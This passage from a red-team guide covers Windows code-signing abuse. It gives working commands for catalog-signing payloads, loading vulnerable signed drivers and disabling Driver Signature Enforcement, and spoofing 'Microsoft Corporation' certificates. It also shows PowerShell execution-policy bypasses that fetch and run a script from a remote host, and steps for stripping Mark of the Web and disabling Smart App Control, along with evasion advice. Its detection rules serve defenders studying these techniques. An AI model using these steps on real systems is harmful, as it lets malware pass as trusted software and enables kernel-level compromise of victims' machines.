    /ac "cross_cert.crt" ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    "C:\driver\evil.sys"

:: Enable test signing mode (for testing on your own machine)
bcdedit /set testsigning on
:: Restart required. Adds watermark to desktop: "Test Mode"

[OPSEC] bcdedit /set testsigning on is easily detected. It sets a registry flag and is logged. Use for lab testing only.


9. Catalog Signing Abuse

What it means: Windows uses catalog files (.cat) to sign files without embedding a signature inside them. A catalog contains hashes of multiple files and a single Authenticode signature over the catalog. Any file whose hash is in a trusted catalog is considered "signed" by Windows — even if the file itself has no embedded signature. This is used extensively by Windows Updates and driver packages.

9.1 How Catalog Signing Works

Catalog File (.cat) structure:

CatalogAttributes
└─ PKCS#7 SignedData
    ├─ Hash of file1.sys
    ├─ Hash of file2.dll
    ├─ Hash of file3.exe
    └─ Authenticode Signature (over all hashes)

Windows verification:
1. Compute SHA256 of file.exe
2. Search all trusted .cat files in CatRoot: %SystemRoot%\System32\CatRoot\
3. If hash found in a trusted catalog → file is considered SIGNED
4. No modification to file.exe needed

Red team implication:
- Add your payload's hash to a catalog signed by a trusted cert
- Your unsigned payload is now "trusted" by Windows
- File has no embedded signature but is catalog-signed

9.2 Create and Sign a Catalog

:: makecat.exe — Create a catalog from a CDF (Catalog Definition File)

:: Step 1: Create a CDF file
echo [CatalogHeader] > catalog.cdf
echo Name=evil.cat >> catalog.cdf
echo ResultDir=.\Output >> catalog.cdf
echo [CatalogFiles] >> catalog.cdf
echo <hash>Payload=payload.exe >> catalog.cdf
echo <hash>Helper=helper.dll >> catalog.cdf

:: Step 2: Generate .cat from CDF
makecat.exe catalog.cdf

:: Step 3: Sign the catalog
signtool.exe sign ^
    /f codesign.pfx ^
    /p P@ssw0rd123 ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    Output\evil.cat

:: Step 4: Install the catalog (admin required)
:: CryptCATAdminAcquireContext / CryptCATAdminAddCatalog (programmatic)
:: or:
signtool.exe catdb /v /u Output\evil.cat  :: Register in system catalog database

9.3 Catalog Abuse via PowerShell

# Create a catalog for your payload
$FilesToCatalog = @{
    "payload.exe" = "payload.exe"
    "helper.dll"  = "helper.dll"
}

# New-FileCatalog (Windows PowerShell 5.1+)
New-FileCatalog `
    -Path "C:\payload" `
    -CatalogFilePath "C:\payload\evil.cat" `
    -CatalogVersion 2

# Sign the catalog
Set-AuthenticodeSignature `
    -FilePath "C:\payload\evil.cat" `
    -Certificate (Get-Item "Cert:\CurrentUser\My\THUMBPRINT_HERE") `
    -TimestampServer "http://timestamp.digicert.com" `
    -HashAlgorithm SHA256

# Test catalog validity
Test-FileCatalog `
    -CatalogFilePath "C:\payload\evil.cat" `
    -Path "C:\payload"

# Output: Valid / ValidationFailed

10. Driver Signing — WHQL & EV Certs

What it means: Modern Windows (10/11 with UEFI Secure Boot and enforced driver signing) requires kernel mode drivers to be signed by Microsoft through the WHQL (Windows Hardware Quality Labs) program, OR submitted to Microsoft's Hardware Dev Center portal with an EV code signing certificate. Threat actors abuse this in several ways: using leaked WHQL-signed drivers (BYOVD — Bring Your Own Vulnerable Driver), finding Microsoft-signed malicious drivers, or using the extended signing period for Windows Server 2016+ compatibility.

10.1 BYOVD (Bring Your Own Vulnerable Driver)

BYOVD Attack Flow:

Phase 1: Find a signed, vulnerable kernel driver
├─ Known vulnerable drivers: Capcom.sys, RTCore64.sys, DBUtil_2_3.sys
├─ Tools: loldrivers.io — curated list of vulnerable signed drivers
└─ Criteria: WHQL-signed (Microsoft trusted), has exploitable IOCTL

Phase 2: Load the signed vulnerable driver
├─ sc.exe create vuln binPath="C:\path\vuln.sys" type=kernel
├─ sc.exe start vuln
└─ Driver loads because it's signed by Microsoft (WHQL)

Phase 3: Exploit the driver to gain kernel R/W or arbitrary execution
├─ Send crafted IOCTL to vulnerable driver
├─ Write shellcode to kernel memory
├─ Disable PPL (Protected Process Light) for LSASS
├─ Disable DSE (Driver Signature Enforcement)
└─ Load your own unsigned/self-signed kernel driver

Phase 4: DSE disabled → load your unsigned evil.sys
└─ Full kernel execution, complete control

10.2 Load a Signed Driver

:: Load a kernel driver (admin + SE_LOAD_DRIVER_PRIVILEGE required)

:: Create service for the driver
sc.exe create VulnDriver ^
    binPath= "C:\Windows\Temp\vuln.sys" ^
    type= kernel ^
    start= demand

:: Start the driver
sc.exe start VulnDriver

:: Check if loaded
sc.exe query VulnDriver

:: Delete the service after use
sc.exe stop VulnDriver
sc.exe delete VulnDriver
// C++ — Load driver programmatically (no sc.exe)
#include <windows.h>
#include <winsvc.h>

BOOL LoadDriver(LPCWSTR driverPath, LPCWSTR serviceName) {
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!hSCM) return FALSE;

    SC_HANDLE hSvc = CreateService(
        hSCM,
        serviceName,                // Service name
        serviceName,                // Display name
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,      // Driver type
        SERVICE_DEMAND_START,       // Manual start
        SERVICE_ERROR_IGNORE,
        driverPath,                 // Full path to .sys
        NULL, NULL, NULL, NULL, NULL
    );

    if (!hSvc) {
        // Service might already exist — try to open it
        hSvc = OpenService(hSCM, serviceName, SERVICE_ALL_ACCESS);
    }

    BOOL result = FALSE;
    if (hSvc) {
        result = StartService(hSvc, 0, NULL);
        CloseServiceHandle(hSvc);
    }

    CloseServiceHandle(hSCM);
    return result;
}

// Usage:
// LoadDriver(L"C:\\Windows\\Temp\\vuln.sys", L"VulnDrv");

10.3 Notable Vulnerable Signed Drivers (loldrivers.io)

Driver           | CVE             | Capability          | Signed By
-----------------|-----------------|---------------------|------------------
RTCore64.sys     | CVE-2019-16098  | Arbitrary R/W       | MICRO-STAR INTL
DBUtil_2_3.sys   | CVE-2021-21551  | Arbitrary R/W       | Dell
Capcom.sys       | —               | Arbitrary kernel exec| Capcom (game)
AsrDrv101.sys    | CVE-2020-15368  | Arbitrary R/W       | ASRock
gdrv.sys         | CVE-2018-19320  | Arbitrary R/W       | GIGABYTE
HwRwDrv.sys      | —               | Phys mem R/W        | Various
mhyprot2.sys     | CVE-2022-0185*  | IOCTL abuse         | miHoYo (Genshin)
WinRing0x64.sys  | CVE-2020-14979  | Port/MSR access     | Various vendors

Full list: https://www.loldrivers.io/

10.4 Disable Driver Signature Enforcement (DSE) via BYOVD

// After gaining kernel R/W via vulnerable driver:
// Patch nt!g_CiEnabled (or ci!g_CiEnabled on newer systems) to disable DSE

// Find g_CiEnabled address:
// 1. Via Ntoskrnl.exe export table
// 2. Via pattern scan in kernel memory
// 3. Via hardcoded offset (version-dependent)

// Conceptual pseudocode:
BOOL DisableDSE(KernelReadWrite *rw) {
    ULONG64 ciBase = rw->FindKernelModule("CI.DLL");
    ULONG64 gCiEnabled = ciBase + OFFSET_G_CI_ENABLED;  // Version-specific

    UCHAR disableValue = 0x00;
    rw->WriteKernelMemory(gCiEnabled, &disableValue, 1);

    // Now you can load unsigned drivers
    return TRUE;
}

// Tools that do this automatically:
// - KDMapper: https://github.com/TheCruZ/kdmapper (maps unsigned driver via iqvw64e.sys)
// - TDL: Turla Driver Loader
// - gdrv-loader: uses GIGABYTE driver for DSE bypass

11. Signing with osslsigncode (Linux)

What it means: osslsigncode is an open-source, cross-platform tool that implements Authenticode signing entirely on Linux/macOS — no Windows required. Essential for red teamers operating from Linux who need to sign Windows PE/MSI/CAB payloads.

11.1 Install osslsigncode

# Ubuntu/Debian
sudo apt update && sudo apt install -y osslsigncode

# From source (latest version)
git clone https://github.com/mtrojnar/osslsigncode
cd osslsigncode
mkdir build && cd build
cmake ..
make -j$(nproc)
sudo make install

# Verify installation
osslsigncode --version
# osslsigncode 2.7

11.2 Sign a PE Binary

# Basic signing (PFX + password)
osslsigncode sign \
    -pkcs12 codesign.pfx \
    -pass P@ssw0rd123 \
    -n "My Application" \
    -i "https://www.example.com" \
    -h sha256 \
    -t http://timestamp.digicert.com \
    -in payload.exe \
    -out signed_payload.exe

# All options breakdown:
# -pkcs12   : PFX certificate file
# -pass     : PFX password
# -n        : Program name (shown in signature info)
# -i        : URL shown in signature info
# -h        : Hash algorithm (sha256 recommended)
# -t        : Timestamp server (old Authenticode style)
# -ts       : RFC 3161 timestamp server (preferred)
# -in       : Input unsigned binary
# -out      : Output signed binary

# Sign with separate cert + key files
osslsigncode sign \
    -certs codesign.crt \
    -key codesign.key \
    -h sha256 \
    -ts http://timestamp.digicert.com \
    -in payload.exe \
    -out signed_payload.exe

# Sign an MSI installer
osslsigncode sign \
    -pkcs12 codesign.pfx \
    -pass P@ssw0rd123 \
    -h sha256 \
    -ts http://timestamp.digicert.com \
    -in installer.msi \
    -out signed_installer.msi

11.3 Verify Signature (osslsigncode)

# Verify a signed binary
osslsigncode verify -in signed_payload.exe

# Verbose verification (shows full cert chain)
osslsigncode verify -in signed_payload.exe -v

# Verify against a specific CA cert
osslsigncode verify -in signed_payload.exe -CAfile ca_bundle.pem

# Extract the signature block
osslsigncode extract-signature \
    -pem \
    -in signed_payload.exe \
    -out signature.pem

# Remove signature
osslsigncode remove-signature \
    -in signed_payload.exe \
    -out unsigned_payload.exe

11.4 Dual Signing (SHA1 + SHA256)

# Some older Windows versions require SHA1 signature
# Dual-sign: first SHA1, then append SHA256

# First signature (SHA1)
osslsigncode sign \
    -pkcs12 codesign.pfx \
    -pass P@ssw0rd123 \
    -h sha1 \
    -t http://timestamp.digicert.com \
    -in payload.exe \
    -out payload_sha1.exe

# Second signature (SHA256) — append mode
osslsigncode sign \
    -pkcs12 codesign.pfx \
    -pass P@ssw0rd123 \
    -h sha256 \
    -ts http://timestamp.digicert.com \
    -nest \
    -in payload_sha1.exe \
    -out signed_payload.exe

# -nest : Append as additional signature (dual sign)
# Without -nest: Replaces existing signature

12. Signing with signtool.exe (Windows)

What it means: signtool.exe is Microsoft's official code signing tool, shipped with the Windows SDK. It's the standard way to sign PE files, drivers, MSI installers, CAB files, and PowerShell scripts on Windows. Full Authenticode support including dual signing, timestamping, and hardware token (HSM/USB token) support.

12.1 Install signtool

# signtool.exe comes with:
# 1. Windows SDK: https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/
# 2. Visual Studio Build Tools
# 3. Windows Driver Kit (WDK)

# Typical locations:
# C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64\signtool.exe
# C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\...\bin\signtool.exe

# Find signtool
where.exe signtool.exe
# Or use PowerShell:
Get-ChildItem "C:\Program Files*\Windows Kits" -Recurse -Filter "signtool.exe" 2>$null

12.2 Sign with PFX

:: Sign using PFX (most common red team usage)
signtool.exe sign ^
    /f "codesign.pfx" ^
    /p "P@ssw0rd123" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    /d "Windows System Component" ^
    /du "https://support.microsoft.com" ^
    /v ^
    payload.exe

:: Sign multiple files at once
signtool.exe sign ^
    /f "codesign.pfx" /p "P@ssw0rd123" ^
    /fd SHA256 /tr http://timestamp.digicert.com /td SHA256 ^
    payload.exe helper.dll installer.msi

:: Sign all EXEs in a directory
for %f in (C:\build\*.exe) do (
    signtool.exe sign /f codesign.pfx /p P@ssw0rd123 /fd SHA256 ^
        /tr http://timestamp.digicert.com /td SHA256 "%f"
)

12.3 Sign with Certificate Store (Thumbprint)

:: Sign using cert already in Windows cert store (by thumbprint)
signtool.exe sign ^
    /sha1 "ABCDEF1234567890ABCDEF1234567890ABCDEF12" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    /v ^
    payload.exe

:: Sign using cert by subject name
signtool.exe sign ^
    /n "My Code Signing Cert" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    payload.exe

:: Sign using cert from specific store
signtool.exe sign ^
    /sm ^           :: Use machine store (instead of user store)
    /s "MY" ^       :: Store name (MY = Personal)
    /n "Cert CN" ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com /td SHA256 ^
    payload.exe

12.4 Verify and Inspect Signatures

:: Verify signature (basic)
signtool.exe verify /pa payload.exe

:: Verbose verify (shows cert chain)
signtool.exe verify /pa /v payload.exe

:: Verify ALL signatures (for dual-signed binaries)
signtool.exe verify /pa /all payload.exe

:: Verify allowing self-signed (for testing)
signtool.exe verify /v payload.exe
:: (No /pa means it doesn't verify trust chain strictly)

:: Return codes:
::   0 = Success (signature valid)
::   1 = Failure (signature invalid or unsigned)

13. PowerShell Script Signing

What it means: PowerShell has its own execution policy system that can require scripts to be Authenticode-signed. In environments with AllSigned or RemoteSigned policies, unsigned .ps1 scripts will not run. Signing PowerShell scripts allows execution in locked-down environments and makes scripts appear more legitimate.

13.1 PowerShell Execution Policy Overview

ExecutionPolicy levels (most → least restrictive):

AllSigned:   ALL scripts must be signed (trusted publisher)
RemoteSigned: Local scripts run unsigned; downloaded scripts need signature
Bypass:      Nothing blocked, no warnings
Unrestricted: All scripts run (warns for downloaded)
Restricted:  No scripts run at all (default on desktop)

Check current policy:
Get-ExecutionPolicy -List          # All scopes
Get-ExecutionPolicy                # Effective policy

Scope hierarchy (highest wins):
MachinePolicy > UserPolicy > Process > CurrentUser > LocalMachine

13.2 Sign a PowerShell Script

# Get your code signing cert (from cert store)
$cert = Get-ChildItem "Cert:\CurrentUser\My" -CodeSigningCert |
    Where-Object { $_.Subject -like "*MyCodeSign*" }

# If using PFX, import it first:
Import-PfxCertificate `
    -FilePath "codesign.pfx" `
    -Password (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) `
    -CertStoreLocation "Cert:\CurrentUser\My"

$cert = Get-ChildItem "Cert:\CurrentUser\My" -CodeSigningCert | Select-Object -First 1

# Sign the script
Set-AuthenticodeSignature `
    -FilePath "payload.ps1" `
    -Certificate $cert `
    -TimestampServer "http://timestamp.digicert.com" `
    -HashAlgorithm SHA256

# Verify
Get-AuthenticodeSignature "payload.ps1"

# Output:
# Directory:  C:\path
# SignerCertificate  Status    Path
# ──────────────────────────────────
# [cert object]      Valid     payload.ps1

13.3 What a Signed Script Looks Like

# Original payload.ps1:
Write-Host "Hello, Red Team"
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://10.10.10.10/stage2.ps1")

# After signing, signtool appends this block to the file:
# SIG # Begin signature block
# MIIxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# SIG # End signature block

# The signature is appended as a comment block
# PowerShell knows to ignore it when executing but reads it for verification

13.4 Bypass AllSigned Without Signing

# Bypass execution policy for current process only (doesn't persist)
powershell.exe -ExecutionPolicy Bypass -File payload.ps1

# Pipe content (bypasses policy — no file saved locally)
IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")

# Encode and execute (Base64)
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -EncodedCommand $encoded

# Read and invoke (no -File, reads as string)
powershell.exe -Command "Get-Content payload.ps1 | Invoke-Expression"

# Set policy for current user only (doesn't require admin)
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force

[OPSEC] AllSigned bypass via -ExecutionPolicy Bypass is heavily logged by ScriptBlock logging (Event ID 4104) and AMSI. Signing is always better OPSEC than bypassing.


14. .NET Assembly Signing (Authenticode + StrongName)

What it means: .NET assemblies have TWO types of signing: (1) Authenticode (same as PE signing — embeds PKCS#7 signature) and (2) Strong Name Signing (a .NET-specific mechanism using an RSA key to give the assembly a unique identity for GAC deployment and version binding). Both can be relevant for red team .NET implants targeting locked-down environments.

14.1 Strong Name Signing

Strong Name vs Authenticode:

Strong Name:
├─ .NET-only concept
├─ Signs the IL (Intermediate Language) content
├─ Creates: PublicKeyToken in AssemblyName
├─ Purpose: Assembly identity, GAC installation, version binding
├─ NOT a trust mechanism (doesn't chain to trusted CA)
├─ Verified by: CLR (.NET runtime)
└─ File change: Adds RSN signature to PE .snk

Authenticode:
├─ Same as native PE signing (PKCS#7)
├─ Wraps the entire PE file
├─ Verified by: WinVerifyTrust() / Windows
└─ Trust: Chains to CA in Windows cert store

Use both for maximum .NET assembly trust.

14.2 Generate Strong Name Key

:: Generate a strong name key pair (.snk)
sn.exe -k 2048 MyKey.snk

:: Extract public key from SNK
sn.exe -p MyKey.snk MyKey.pub

:: View public key token (what shows in assembly name)
sn.exe -t MyKey.pub

:: Sign an existing assembly with strong name (delay signing)
sn.exe -R MyAssembly.dll MyKey.snk

:: Verify strong name signature
sn.exe -v MyAssembly.dll
:: Output: MyAssembly.dll is valid

14.3 Sign .NET Assembly in Code (C#)

// In .csproj — add signing via project properties:
// <AssemblyOriginatorKeyFile>MyKey.snk</AssemblyOriginatorKeyFile>
// <SignAssembly>true</SignAssembly>

// Or use AssemblyInfo.cs attributes:
using System.Reflection;
using System.Runtime.CompilerServices;

[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
// Strong name is applied by compiler when SNK is specified, not via attribute

// Check strong name from C#:
using System.Reflection;

var asm = Assembly.GetExecutingAssembly();
var name = asm.GetName();
byte[] publicKey = name.GetPublicKey();
byte[] token = name.GetPublicKeyToken();
Console.WriteLine($"PublicKeyToken: {BitConverter.ToString(token).Replace("-", "").ToLower()}");

14.4 Authenticode Sign a .NET Assembly

:: Same process as native PE — signtool works on .NET assemblies
signtool.exe sign ^
    /f codesign.pfx ^
    /p P@ssw0rd123 ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    /td SHA256 ^
    MyImplant.dll

:: Verify
signtool.exe verify /pa /v MyImplant.dll

:: Sign a ClickOnce manifest (.manifest file)
signtool.exe sign ^
    /f codesign.pfx ^
    /p P@ssw0rd123 ^
    /fd SHA256 ^
    /tr http://timestamp.digicert.com ^
    MyApp.manifest

15. Smart App Control & MRC Bypass

What it means: Windows 11 introduced Smart App Control (SAC) — an AI-based reputation system that blocks apps without a good reputation score. Unlike traditional SmartScreen, SAC enforces a stricter model: if a binary isn't signed by a known-good publisher and has no reputation in Microsoft's cloud service, it's blocked entirely — no bypass prompt. Mark of the Web (MOTW) is a Zone Identifier alternate data stream (:Zone.Identifier) applied to files downloaded from the internet, which triggers SmartScreen and SAC checks.

15.1 Smart App Control Architecture

Smart App Control check flow (Windows 11 22H2+):

App launch attempt
│
├─ Is SAC enabled? (SAC has 3 states: Off / Evaluation / On)
│   └─ Registry: HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState
│       0 = Off | 1 = Evaluation | 2 = On
│
├─ Does file have MOTW (:Zone.Identifier ADS)?
│   └─ ZoneId=3 (Internet zone) triggers full SAC check
│
├─ Is binary signed with valid Authenticode cert?
│   ├─ NO  → Block (no prompt in SAC=On mode)
│   └─ YES → Continue
│
├─ Is publisher known to Microsoft's reputation cloud?
│   ├─ EV cert   → Instant reputation bypass
│   ├─ OV cert   → Reputation builds over time (file hash, cert, publisher)
│   └─ Unknown   → Block
│
└─ If all pass: Allow

15.2 Remove Mark of the Web (MOTW)

# Check if a file has MOTW
Get-Item "payload.exe" -Stream * | Where-Object { $_.Stream -ne ':$DATA' }
# Shows: :Zone.Identifier if MOTW is present

# Read MOTW content
Get-Content "payload.exe" -Stream Zone.Identifier
# [ZoneTransfer]
# ZoneId=3         ← 3 = Internet Zone (triggers SmartScreen/SAC)
# ReferrerUrl=...
# HostUrl=...

# Remove MOTW (Unblock-File)
Unblock-File -Path "payload.exe"
# Or: Remove-Item "payload.exe:Zone.Identifier" -ErrorAction SilentlyContinue

# Batch remove MOTW from directory
Get-ChildItem "C:\payload" -Recurse | ForEach-Object {
    Unblock-File -Path $_.FullName
}

# Prevent MOTW from being applied:
# - Deliver payload via SMB share (not HTTPS download)
# - Use 7-Zip (doesn't propagate MOTW to extracted files — pre-7zip 22.00)
# - Use WinRAR (doesn't propagate MOTW)
# - Copy via RDP clipboard (doesn't apply MOTW)
# - Inject directly into memory (no file = no MOTW)

15.3 Disable Smart App Control (Registry)

# Check current SAC state
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"
$sacState = (Get-ItemProperty -Path $regPath -Name "VerifiedAndReputablePolicyState").VerifiedAndReputablePolicyState
Write-Host "SAC State: $sacState (0=Off, 1=Evaluation, 2=On)"

# Disable SAC (requires admin + reboot)
Set-ItemProperty -Path $regPath `
    -Name "VerifiedAndReputablePolicyState" `
    -Value 0 `
    -Type DWORD

# Note: SAC can only be re-enabled from Windows Security app
# Once disabled, it cannot be set back to "Evaluation" mode

[DETECT] Disabling SAC via registry is easily detected. Prefer MOTW removal or delivering payloads that don't trigger MOTW (SMB, clipboard, memory injection).

15.4 MOTW Propagation Gaps (Archive Tools)

Archive tool MOTW propagation behavior:

Tool        | Version    | MOTW on archive | MOTW on extracted | Propagates?
------------|------------|-----------------|-------------------|------------
7-Zip       | < 22.00    | YES             | NO                | NO ← abused
7-Zip       | ≥ 22.00    | YES             | YES               | YES (patched)
WinRAR      | All        | YES             | NO                | NO ← still works
Windows ZIP | Built-in   | YES             | YES               | YES
WinZip      | All        | YES             | YES               | YES

Red team implication (pre-patch or WinRAR):
1. Package payload.exe in a .zip or .rar
2. Send via email/download (archive gets MOTW)
3. User extracts with WinRAR → extracted .exe has NO MOTW
4. .exe runs without SmartScreen/SAC check

16. Detection & Evasion

16.1 Detection Vectors

[DETECT] How defenders identify malicious signing:

1. Self-signed / untrusted root
   ├─ Chain doesn't resolve to trusted CA
   ├─ issuer == subject (dead giveaway for self-signed)
   ├─ Logged by EDR on load
   └─ Detection: WinVerifyTrust returns TRUST_E_EXPLICIT_DISTRUST or chain error

2. Invalid / hash mismatch signature (Sigthief)
   ├─ WinVerifyTrust() returns TRUST_E_BAD_DIGEST
   ├─ EDR calls WinVerifyTrust — detects grafted certs
   ├─ Sysmon Event 7 (image load): Signed=false even with embedded cert
   └─ Detection rule: ImageLoaded where Signed=true AND SignatureStatus!=Valid

3. Revoked certificate
   ├─ CRL/OCSP check shows revoked status
   ├─ Windows flags revoked certs in WinVerifyTrust
   └─ Detection: CRYPT_E_REVOKED in verification

4. Mismatched signer metadata
   ├─ Binary claims "Microsoft Corporation" but cert is OV from "Random LLC"
   ├─ Binary description says "Notepad" but filename is loader.exe
   └─ Detection: EDR compares embedded VersionInfo resources vs cert Subject

5. Suspicious certificate subject names
   ├─ Typosquatting: "Micros0ft Corp" / "MicrosOft" / "Mircosoft"
   ├─ Generic names: "Software LLC" / "IT Solutions Inc"
   └─ Detection: Reputation check on publisher name

6. Short-lived certificates
   ├─ Cert valid for < 30 days (purchased just for malware campaign)
   └─ Detection: NotAfter - NotBefore < threshold

7. Timestamp anomalies
   ├─ Timestamp date predates file creation date (back-dating attempt)
   ├─ Timestamp from unusual TSA not commonly used by legitimate software
   └─ Detection: Compare filesystem metadata vs embedded timestamp

16.2 Evasion Techniques

[EVASION] How attackers evade signing detection:

1. Acquire legitimate OV/EV cert via shell company
   └─ Register LLC → Apply for OV cert → Sign malware
   └─ Takes: ~1-2 weeks + ~$300-500
   └─ Bypass: SmartScreen reputation, EDR trust checks

2. Build reputation (SmartScreen)
   └─ Sign clean software → distribute widely → build trust score
   └─ Once score is high, use same cert for malware
   └─ Microsoft calls this "certificate abuse"

3. Sign before cert revocation
   └─ Compromised cert → sign → timestamp → cert gets revoked
   └─ Signed binary STILL valid (timestamp proves it was signed before revocation)
   └─ Remains valid until Microsoft pushes revocation to Windows Update

4. Match binary metadata to cert
   └─ Set FileDescription, ProductName, CompanyName in VERSIONINFO
   └─ Match cert Subject Organization exactly
   └─ Example: cert says "Contoso LLC" → binary says "Contoso LLC" in VersionInfo

5. Minimize MOTW exposure
   └─ Deliver via SMB (\\server\share → no MOTW)
   └─ Deliver via RDP clipboard transfer
   └─ Use WinRAR for delivery archive
   └─ Use DLL sideloading (DLL doesn't get MOTW from parent EXE)

6. Use Microsoft-signed LOLBins to load payload
   └─ Your payload loaded by regsvr32.exe / msiexec.exe / rundll32.exe
   └─ Initiating process is Microsoft-signed = less suspicious
   └─ Payload DLL still needs to pass EDR checks

7. Kernel-level: BYOVD → DSE disable → load unsigned driver
   └─ See section 10 — most powerful bypass, highest detection risk

16.3 Detection Rules (Sigma / Sysmon)

# Sigma rule — Self-signed code execution
title: Self-Signed Binary Execution
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Signed: 'true'
        SignatureStatus: 'Invalid'  # Has signature but chain fails
    condition: selection
level: high

---
# Sigma rule — Grafted/invalid certificate
title: PE with Grafted Authenticode Signature
status: experimental
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Signed: 'true'
        SignatureStatus|contains:
            - 'HashMismatch'
            - 'NotTrusted'
            - 'Invalid'
    condition: selection
level: high

---
# Sigma rule — Suspicious publisher name in VERSIONINFO
title: Binary with Microsoft-Like Publisher Name but Non-Microsoft Cert
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_ms_name:
        Company|contains:
            - 'Microsoft'
            - 'Windows'
    filter_real_ms:
        SignatureStatus: 'Valid'
        # And cert thumbprint in known Microsoft thumbprint list
    condition: selection_ms_name and not filter_real_ms
level: medium
# PowerShell — Enumerate signed binaries in a directory (threat hunting)
Get-ChildItem "C:\Users" -Recurse -Include "*.exe","*.dll" -ErrorAction SilentlyContinue |
    ForEach-Object {
        $sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue
        if ($sig -and $sig.Status -ne "NotSigned") {
            [PSCustomObject]@{
                File   = $_.FullName
                Status = $sig.Status
                Signer = $sig.SignerCertificate.Subject
                Issuer = $sig.SignerCertificate.Issuer
                Expiry = $sig.SignerCertificate.NotAfter
            }
        }
    } | Where-Object { $_.Status -ne "Valid" } | Format-Table -AutoSize

17. Comparison Matrix

Technique Trust Level SmartScreen Bypass EDR Evasion Kernel Drivers Cost OPSEC Risk Complexity
Unsigned None No No No Free Very High Trivial
Self-signed None No Partial No Free High Low
Self-signed + root install Local only Yes (local) Partial No Free High Low
Cloned cert (CarbonCopy) None No Low No Free High Low
Grafted sig (Sigthief) None No Low No Free High Low
OV cert (purchased) High Partial Yes No $300-500/yr Medium Medium
EV cert (purchased) Very High Yes (instant) Yes With WHQL $500-1000/yr Low Medium
Stolen cert (pre-revoke) Real CA trust Yes Yes Yes (if WHQL) Criminal Very Low High
BYOVD + DSE disable N/A (kernel) N/A Yes Yes (unsigned) Free Medium Very High
Catalog signing As-cert Partial Partial No Free* Medium Medium
Timestamp abuse Extends validity Yes (if cert valid) Partial No Free Low Low

18. Cheat Sheet

Quick Workflow — Generate Cert → Sign → Verify

# ── LINUX WORKFLOW ─────────────────────────────────────────────────

# Step 1: Generate self-signed code signing cert
openssl req -new -newkey rsa:2048 -keyout codesign.key -out codesign.csr -nodes \
    -subj "/C=US/ST=Washington/O=Microsoft Corporation/CN=Microsoft Windows"
openssl x509 -req -days 1825 -in codesign.csr -signkey codesign.key -out codesign.crt
openssl pkcs12 -export -out codesign.pfx -inkey codesign.key -in codesign.crt \
    -passout pass:P@ssw0rd123

# Step 2: Sign the payload
osslsigncode sign \
    -pkcs12 codesign.pfx -pass P@ssw0rd123 \
    -h sha256 -ts http://timestamp.digicert.com \
    -n "Windows System Component" -i "https://support.microsoft.com" \
    -in payload.exe -out signed_payload.exe

# Step 3: Verify
osslsigncode verify -in signed_payload.exe -v

# Step 4: Clone a real cert's identity
python3 CarbonCopy.py www.microsoft.com 443 payload.exe signed_payload.exe
# ── WINDOWS WORKFLOW ───────────────────────────────────────────────

# Step 1: Create self-signed cert
$cert = New-SelfSignedCertificate -Type CodeSigningCert `
    -Subject "CN=Microsoft Windows, O=Microsoft Corporation" `
    -KeyLength 2048 -HashAlgorithm SHA256 `
    -CertStoreLocation "Cert:\CurrentUser\My" `
    -NotAfter (Get-Date).AddYears(5)

# Step 2: Sign payload
Set-AuthenticodeSignature `
    -FilePath payload.exe `
    -Certificate $cert `
    -TimestampServer "http://timestamp.digicert.com" `
    -HashAlgorithm SHA256

# Step 3: Verify
Get-AuthenticodeSignature payload.exe | Select-Object Status, SignerCertificate

# Step 4: signtool.exe (if available)
signtool.exe sign /sha1 $cert.Thumbprint /fd SHA256 `
    /tr http://timestamp.digicert.com /td SHA256 payload.exe
signtool.exe verify /pa /v payload.exe

Certificate Quick Reference

Certificate Fields — What Attackers Control / Spoof:
┌────────────────────────────────────────────────────────┐
│ Field           │ Controlled by │ Spoof impact           │
│─────────────────────────────────────────────────────────│
│ Subject/CN      │ Cert owner    │ Publisher name shown   │
│ Organization    │ CA-verified*  │ Company name in dialog │
│ Serial Number   │ CA            │ Traceability           │
│ NotBefore/After │ CA            │ Validity period        │
│ Issuer          │ CA            │ CA name               │
│ Thumbprint      │ Hash of cert  │ Unique identifier      │
│ Key Usage       │ Cert owner    │ codeSigning required   │
│ Timestamp       │ TSA           │ Signing time proof     │
└────────────────────────────────────────────────────────┘
* OV = organization identity verified by CA
* EV = extended verification (legal entity)
* Self-signed = none verified

Timestamp Server Quick Reference

# Test if TSA is reachable and responding
curl -s -o /dev/null -w "%{http_code}" http://timestamp.digicert.com
# 200 = reachable

# All free timestamp servers:
# DigiCert:  http://timestamp.digicert.com
# Sectigo:   http://timestamp.comodoca.com
# GlobalSign: http://timestamp.globalsign.com/scripts/timstamp.dll
# Entrust:   http://timestamp.entrust.net/TSS/AuthenticodeTS
# Apple:     http://timestamp.apple.com/ts01

